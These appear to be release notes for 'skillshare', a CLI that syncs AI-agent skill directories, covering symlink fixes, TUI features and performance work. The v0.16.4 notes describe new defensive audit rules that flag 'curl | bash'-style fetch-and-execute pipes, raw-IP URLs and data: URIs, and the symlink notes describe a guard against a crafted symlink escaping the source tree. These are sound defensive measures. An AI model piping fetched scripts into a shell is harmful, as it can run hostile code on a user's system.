The core fix for target symlinks is isSymlinkToSource() — before removing a target symlink, sync checks whether it points to the skillshare source directory:
Target is a symlink?
├── YES → Points to source directory?
│ ├── YES → Skillshare's own symlink-mode link
│ │ → Remove it (converting to merge/copy mode)
│ └── NO → External symlink (dotfiles manager, etc.)
│ → Preserve it, sync INTO the resolved directory
└── NO → Regular directory
→ Sync normally (create skill symlinks inside)
Source Directory Resolution
utils.ResolveSymlink() (extracted from sync.go's local resolveWalkRoot()) calls filepath.EvalSymlinks() on the path before walking:
Source: ~/.config/skillshare/skills/ (symlink)
→ ~/dotfiles/ss/ (resolved)
→ Walk resolved path for SKILL.md files
→ Compute RelPath relative to resolved root
→ Store SourcePath using original symlink path (for display)
This also handles chained symlinks: link2 → link1 → real_dir.
Group Operation Containment Guard
uninstall --group and update --group now verify that the resolved group path stays within the source tree:
Group dir is a symlink?
├── Resolved path inside source? → Proceed normally
└── Resolved path outside source? → Reject with error:
"group 'evil-group' resolves outside source directory"
This prevents a crafted symlink (e.g., skills/evil-group → /important/data) from causing unintended deletions or updates outside the source tree.
What Changed
| File | Change |
|---|---|
internal/utils/path.go |
New ResolveSymlink() shared utility |
internal/sync/sync.go |
Replaced local resolveWalkRoot() with utils.ResolveSymlink() |
internal/sync/copy.go |
SyncTargetCopyWithSkills checks isSymlinkToSource() before removing |
internal/sync/pull.go |
FindLocalSkills follows external target symlinks |
internal/config/reconcile.go |
Resolve source before WalkDir |
internal/config/project_reconcile.go |
Resolve source before WalkDir |
internal/install/install_queries.go |
Resolve source in 3 walk functions |
cmd/skillshare/update.go |
Resolve cfg.Source before Walk |
cmd/skillshare/update_resolve.go |
Resolve + containment guard |
cmd/skillshare/update_project.go |
Resolve uc.sourcePath before Walk |
cmd/skillshare/uninstall.go |
Resolve + containment guard in 3 functions |
internal/server/handler_update.go |
Resolve source before WalkDir |
cmd/skillshare/upgrade.go |
Clear prompt lines to preserve tree layout |
Testing
- Unit tests:
internal/sync/symlinked_dir_test.go(560 lines) — covers symlinked source, symlinked target, double symlink, chained symlinks, external symlink preservation, copy mode, merge mode - Integration tests:
tests/integration/sync_symlinked_dir_test.go(378 lines) — end-to-end CLI tests withtestutil.Sandbox, including containment guard rejection tests - E2E runbook:
ai_docs/tests/symlinked_dir_sync_runbook.md— 20-step manual validation for devcontainer covering sync, update, uninstall, collect, reconcile, and containment guard scenarios
Upgrading
# Homebrew
brew upgrade skillshare
# Direct download
skillshare upgrade
# Or download from GitHub Releases
# https://github.com/runkids/skillshare/releases/tag/v0.16.7Changelog
- b8b48aa fix(symlink): resolve symlinked source/target dirs across all Walk callsites
- abe64cc fix(sync): preserve external symlinks during sync (dotfiles manager support)
- 70a8e79 fix(sync): preserve external symlinks in merge/copy mode conversions
- 8519ebe fix(upgrade): clear prompt lines to preserve tree layout
v0.16.6
🔍 skillshare v0.16.6 Release Notes
Release date: 2026-03-02
TL;DR
v0.16.6 is a diff enhancement and TUI expansion release:
diffinteractive TUI — split-panel bubbletea interface with fuzzy filter and file-level detaildiff --patch/--stat— unified text diffs and per-file change summaries- Glob pattern matching —
install,update,uninstallaccept*,?,[...]patterns trashTUI — multi-select interactive list with restore/delete/empty and SKILL.md previewrestoreTUI — two-phase target picker → version list with detail panel- Homebrew-aware version check — no more false "update available" for Homebrew users
- Built-in devcontainer skill — teaches AI assistants to use the devcontainer
What's New
1) diff Interactive TUI
skillshare diff now launches a full-screen bubbletea TUI by default:
- Left panel: Target list with status icons (✓ synced, ! drifted, ✗ missing)
- Right panel: Categorized file-level diffs for the selected target
- Controls:
/to filter,Ctrl+d/uto scroll details,qto quit - Falls back to plain text on non-TTY or with
--no-tui
2) diff --patch and --stat
Two new flags for non-interactive inspection:
# Show unified text diff for every changed file
skillshare diff --patch
# Show per-file change summary (added/removed line counts)
skillshare diff --statBoth flags imply --no-tui and print directly to stdout.
3) diff File-Level Detail
Diff entries now go beyond target-level to show individual file changes:
- Per-file categorization: added (
+), removed (−), modified (≠), renamed (→) - Source paths and modification times
- Statistics summary line at the end of each run (e.g.,
3 added, 1 modified, 2 removed)
4) Glob Pattern Matching
install, update, and uninstall now support glob patterns in skill name arguments:
# Install only matching skills from a repo
skillshare install runkids/my-skills -s "core-*"
# Update all team skills
skillshare update "team-*"
# Uninstall by pattern
skillshare uninstall "old-??"Matching is case-insensitive. Supports *, ?, and [...] character classes.
5) trash Interactive TUI
skillshare trash now launches an interactive TUI:
- Multi-select with checkboxes for batch operations
- Fuzzy filter to search through trashed skills
- Inline actions: restore, delete, empty all
- Detail panel shows SKILL.md preview (first 15 lines) for content inspection
6) restore Interactive TUI
skillshare restore (with no arguments) launches a two-phase interactive flow:
- Phase 1: Pick a target from targets with available backups
- Phase 2: Select a backup version with left-right split panel
The detail panel shows skill diffs and descriptions to help decide which version to restore. Also adds --help flag and a delete-backup action from within the TUI.
7) backup Improvements
- Lists available backup versions per target
- Correctly follows top-level symlinks in merge-mode targets (previously produced empty backups)
8) Homebrew-Aware Version Check
Homebrew formula updates often lag GitHub Releases by hours or days. Previously, Homebrew users would see "update available" when brew upgrade said they were already current.
Now skillshare detects the install method from the executable path:
- Homebrew installs: queries
brew info --json=v2for the latest version - Direct downloads: continues using the GitHub Release API
doctorand post-command update checks show the correct upgrade command
9) Devcontainer Skill
New built-in skill (devcontainer) that teaches AI assistants:
- When to run commands inside the devcontainer vs. on the host
- How to use
docker execfor isolated testing - Credential-helper management for test isolation
- Web UI debugging inside the container
10) UX Polish
- All destructive action confirmations (delete, empty, uninstall) now render in red text across trash, restore, and list TUIs for visual safety
Bug Fixes
backup/restoremode flags —-gand-pflags now work correctly; previously-gwas misinterpreted as a target name due to missingparseModeArgs()diffhides.skillshare-meta.json— internal metadata file is no longer shown in file-level diff outputdiff --statimplies--no-tui—--statnow correctly skips the TUI
Upgrading
# Homebrew
brew upgrade skillshare
# Direct download
skillshare upgrade
# Or download from GitHub Releases
# https://github.com/runkids/skillshare/releases/tag/v0.16.6Changelog
- ec60453 chore: update docs
- 7bdb9a4 deps: upgrade sergi/go-diff to v1.4.0 for text diff support
- e48a019 docs(diff): update docs for TUI, --stat, --patch, new category labels
- 2bcd2bf feat(backup): add ListTargetsWithBackups for TUI discovery
- 71dea4e feat(backup): add version listing and follow top-level symlinks
- c72ab5f feat(diff): add --patch and --stat flags with file stat, time info, and unified diff
- 924487b feat(diff): add file list, text diff, and time info to TUI detail panel
- 398e0bf feat(diff): add file-level diff engine for skill content comparison
- 27e5c3a feat(diff): add interactive bubbletea TUI with left-right panel layout
- 7a22b78 feat(diff): async expand with spinner and support all diff types
- c59498b feat(diff): extend diff entries with file-level data, source paths, and mtime
- 6fea949 feat(diff): redesign labels with git-style symbols and add statistics summary
- c5be126 feat(install,update,uninstall): add glob pattern matching for skill names
- 102b9e3 feat(restore): add --help flag and delete backup from TUI
- 995eb11 feat(restore): add unified Backup Restore TUI
- b371050 feat(skills): add devcontainer skill for AI-guided container execution
- 3e94539 feat(trash): add SKILL.md preview to TUI detail panel
- b2af4f4 feat(trash): add interactive TUI for trash list
- 6d90481 feat(tui): add red text to all destructive action confirmations
- 8a37748 feat(version): Homebrew-aware version check
- f5a8166 fix(backup,restore): handle -g/-p mode flags correctly
- 20411ed fix(diff): hide .skillshare-meta.json from file-level diff and make --stat imply --no-tui
- d8fb76d fix(restore): handle ReadDir error to prevent accidental backup deletion
- ae16181 refactor(auth): consolidate duplicated auth infra and fix GH_TOKEN gap
- ada5396 refactor(diff): address code review findings
- 30458e7 refactor(skill): rewrite built-in SKILL.md from reference manual to recipe-driven guide
- d2883e5 refactor(tui): consolidate duplicated utilities and cache detail rendering
- 13744f8 refactor: consolidate duplicated utilities and simplify diff API
- 6a90454 test(diff): add integration tests for file stat, patch, new labels, summary
v0.16.5
🎨 skillshare v0.16.5 Release Notes
Release date: 2026-02-28
TL;DR
v0.16.5 is a Web UI and quality-of-life release:
- Dark theme — toggle light/dark in the Web UI; auto-detects system preference
- Update page — dedicated batch-update page with select-all, per-item progress, and result summary
- Security overview card — dashboard shows risk level badge and severity breakdown at a glance
- Sync mode selector — change merge/symlink mode per target directly from the Targets page
- Custom target validation fix —
checkanddoctorno longer false-flag user-defined targets upgradeversion transition — Homebrew and direct upgrades now show clearv0.x → v0.youtput- 2 new targets — oh-my-pi (
omp) and Lingma (lingma)
What's New
1) Web UI: Dark Theme
The Web UI now supports dark mode with a sun/moon toggle button. The theme:
- Persists to
localStorageacross sessions - Auto-detects
prefers-color-schemeon first visit - Uses warm brown backgrounds and gold accents aligned with the website color palette
- All components (cards, code editor, modals) are theme-aware
2) Web UI: Dedicated Update Page
Previously, updating tracked skills was only available from the Sync page. v0.16.5 adds a dedicated Update page with:
- Checkbox list of all tracked repos with available updates
- Select-all toggle for batch operations
- Per-item progress tracking with staggered animations
- Result summary panel showing success/failure counts
Navigate to it from the sidebar under "Update".
3) Web UI: Security Overview Card
The Dashboard's security section now shows:
- A risk-level badge (clean/low/medium/high/critical)
- Color-coded severity breakdown (CRITICAL/HIGH/MEDIUM/LOW/INFO)
- Accent card highlight when CRITICAL findings exist
- Green "All Clear" message when no findings
4) Web UI: Sync Mode Selector
The Targets page now has a dropdown per target to switch between merge and symlink sync modes directly in the UI. Each mode includes a description explaining its behavior.
5) Custom Target Validation Fix
check and doctor previously only recognized built-in targets from targets.yaml, causing false "unknown target" warnings for user-configured custom targets.
Both commands now include user-defined target names from global and project config in the known set. Fixes #57.
6) upgrade Version Transition
skillshare upgrade now displays clear version transitions:
Upgraded v0.16.3 → v0.16.5
This works for all upgrade paths:
- Homebrew:
brew upgrade skillshare→ shows transition or "Already up to date ✓" - Direct download: binary self-update with version display
- Skill install: "Installed v0.16.5" (new) or "Upgraded v0.1.0 → v0.16.5"
7) New Targets
| Target | Tool | Global Path | Project Path |
|---|---|---|---|
omp |
oh-my-pi | ~/.omp/agent/skills |
.omp/skills |
lingma |
Lingma | ~/.lingma/skills |
.lingma/skills |
omp has the alias oh-my-pi. Both names work in all commands.
Web UI Accessibility Improvements
aria-labelson interactive elementshtmlForlinking labels to form inputs- Focus trap for modals (Tab key stays within modal)
ErrorBoundarywrapping the app for graceful error recovery
Bug Fixes
- Modal scroll-away — clicking checkboxes in the skill picker no longer causes content to disappear (replaced
overflow-hiddenwithoverflow-clipon Card) - Subdir URL discovery — install form now correctly handles git URLs with subdirectory paths, showing the skill picker for multi-skill subdirectories #56
Changelog
- 85b6329 feat(targets): add Lingma as built-in target
- dce960e feat(targets): add oh-my-pi (omp) as built-in target
- b24a80f feat(ui): add dark theme with toggle, aligned to website color palette
- f7483fd feat(ui): add dedicated update page with batch selection
- 6def2a2 feat(ui): add security overview card to dashboard
- 18cfaa9 feat(ui): add sync mode selector to targets page
- ba7752f feat(ui): enhance install skill picker with descriptions and into-dir field
- aa4b3ec feat(ui): improve update page empty state and targets sync mode UX
- 0e48869 feat(upgrade): show version transition in Homebrew and skill upgrade output
- 00f8f38 fix(check): pass custom targets to unknown-target validation in project mode
- 208b34d fix(ui): add accessibility improvements — aria-labels, focus trap, ErrorBoundary, htmlFor
- a37c458 fix(ui): support subdir URL discovery and fix modal scroll-away bug
- ae500e8 include user-configured targets in unknown target validation
Notes
- Full changelog: https://github.com/runkids/skillshare/blob/main/CHANGELOG.md
- Security model docs: https://skillshare.runkids.cc/docs/guides/security
- Command reference: https://skillshare.runkids.cc/docs/commands
Contributors
v0.16.4
🔒 skillshare v0.16.4 Release Notes
Release date: 2026-02-28
TL;DR
v0.16.4 is a safety, correctness, and performance release focused on duplicate prevention, target path fixes, audit rule expansion, and gitignore batch optimization:
- Cross-path duplicate detection —
installblocks accidental duplicates across different paths with a clear hint - Same-repo skip — reinstalls show friendly
⊘ skippedinstead of an error universaltarget fix — corrected path to~/.agents/skills+ coexistence docs withnpx skills- 5 new audit rules —
fetch-with-pipe,ip-address-url,data-uri(31 → 36 total patterns) - Batch gitignore performance —
.gitignoreops batched to a single read/write; fixes hang on large projects status/doctorat scale — single discovery pass + cached target checks + async version check + spinner- TUI action safety —
listTUI actions now confirm before executing and pass explicit mode flags
What's New
1) Cross-path duplicate detection
install now tracks which repo each skill came from and blocks accidental duplicates across different paths. If you installed runkids/feature-radar --into feature-radar and later try runkids/feature-radar without --into, the CLI detects the conflict:
✗ this repo is already installed at skills/feature-radar/scan (and 2 more)
Use 'skillshare update' to refresh, or reinstall with --force to allow duplicates
This check runs in all install paths: CLI direct, CLI discovery, Web UI single, and Web UI batch. Use --force to intentionally allow duplicates. The Web UI returns HTTP 409 when duplicates are found.
2) Same-repo skip
Reinstalling a skill from the same repo now shows a friendly skip indicator (⊘) instead of an error. Skipped skills are grouped by directory with a repo label in the summary output.
3) universal target fix + coexistence docs
The universal target now points to the correct path (~/.agents/skills instead of ~/.config/agents/skills). This is a shared agent directory that multiple AI CLIs can read from — also used by the npx skills CLI.
init and init --discover automatically include the universal target whenever any AI CLI is detected, labeled as "shared agent directory" to clarify its purpose.
New FAQ section documents coexistence with npx skills:
- Both tools can manage
~/.agents/skills/simultaneously (skillshare uses symlinks, npx skills uses real directories) - Prune logic won't delete the other tool's files
- Name collisions should be avoided; copy mode is more aggressive than merge mode
npx skills listwon't show skillshare-synced skills (lock file vs directory scan)
4) 5 new audit rules (31 → 36)
Five new rules close detection gaps in the security scanner:
| Rule | Severity | What it catches |
|---|---|---|
fetch-with-pipe (×3) |
HIGH | curl | bash, wget | sh, pipes to python/node/ruby/perl/zsh/fish |
ip-address-url |
MEDIUM | https://203.0.113.50/... — raw IP URLs that bypass DNS security (private ranges excluded) |
data-uri |
MEDIUM | ](data:text/html,...) — embedded executable content in markdown links |
fetch-with-pipe is automatically suppressed inside markdown code fences (same as destructive-commands, suspicious-fetch, etc.), so legitimate install documentation doesn't trigger false positives.
5) Batch gitignore performance
.gitignore updates during install reconciliation and uninstall are now batched into a single file read/write instead of one per skill. This eliminates a hang that occurred when .gitignore grew large (100K+ lines) in projects with many installed skills.
Previously, ReconcileProjectSkills called UpdateGitIgnore per-skill inside a WalkDir loop, re-reading the entire file each time — O(N×M) complexity. Now it collects entries during the walk and calls UpdateGitIgnoreBatch once. The same batch pattern applies to RemoveFromGitIgnoreBatch in uninstall (both global and project modes).
6) status and doctor at scale
Both commands now run a single skill discovery pass instead of repeating it per-section:
status: 7× discovery → 1× (tracked repos extracted from existing results;printSourceStatustakes pre-computed count)doctor: 5× discovery → 1× (all check functions receive the shared[]DiscoveredSkill)- Target status checks (
CheckStatusMerge/CheckStatusCopy) are cached so drift detection reuses the first result instead of calling again doctoroverlaps its GitHub version check (3s timeout) with local I/O via goroutine- A spinner is shown during discovery so the CLI doesn't appear frozen on large skill sets
7) Other fixes
--forcehint accuracy — force hints now use the actual repo URL (not per-skill subpath) and include--intowhen applicableupdateroot-level skills — root-level skill repos (SKILL.md at repo root) no longer appear stale during batch update; fixedSubdirnormalization mismatchupdatebatch summary — aligned withsync-style single-line stats format with color-coded countspullproject mode leak —pullnow forces--globalfor post-pull sync, preventing project-mode auto-detection when run inside a project directorylistTUI action safety —audit,update, anduninstallactions in the skill list TUI now show a confirmation overlay before executing; actions pass explicit--global/--projectmode flags to prevent mode mismatch- Unified batch summary —
install,uninstall, andupdateshare a consistent single-line summary format with color-coded counts and elapsed time - Command output spacing — trailing blank line after command output for consistent terminal readability
Migration
No breaking changes. Drop-in upgrade from v0.16.3.
Changelog
- 1f8fbd4 docs(website): add status/doctor perf entry to changelog
- 1a207e6 feat(audit): add fetch-with-pipe, ip-address-url, and data-uri rules
- 5d9a773 feat(init): label universal as shared agent directory and add coexistence docs
- 666091a feat(install): add cross-path duplicate detection and same-repo skip
- 1099ba4 feat(ui): unified batch summary and output patterns across commands
- 65402b9 feat(update): add phase headers and scanning spinner for batch mode
- 429e67a fix(audit): downgrade data-uri severity to MEDIUM
- 79f26f2 fix(docs): correct broken anchor link in docker-sandbox page
- 8997196 fix(init): correct universal target path and auto-include in init
- 13acc75 fix(list): add in-TUI confirmation and explicit mode flags for actions
- 965f060 fix(pull): force global sync after pull to avoid project mode auto-detection
- 6ca6f58 fix(test): adapt online audit parity test for skip-unchanged optimisation
- e14ef99 fix(ui): add trailing blank line after command output
- d86ee8c fix(ui): align spinner output and skip backup when no skills
- 41fe18b fix(update): normalize empty Subdir to "." for root-level skill repos
- 9a7ee1b fix: address code review findings (3 important + 5 suggestions)
- 6a5d2ea perf(collect): remove eager calculateDirSize from FindLocalSkills
- 4c70b7d perf(gitignore): batch read/write for install reconcile and uninstall
- 5017df2 perf(status,doctor): eliminate redundant discovery and CheckStatus calls
- 0f29dd3 perf(update): remove per-skill delay in batch update loop
- b4a4969 perf(update): skip unchanged skills in grouped repo updates
- 51d2e3a perf(update): speed up grouped updates and unstick progress bar
- 0f2d66e refactor(update): align batch summary with sync-style single-line format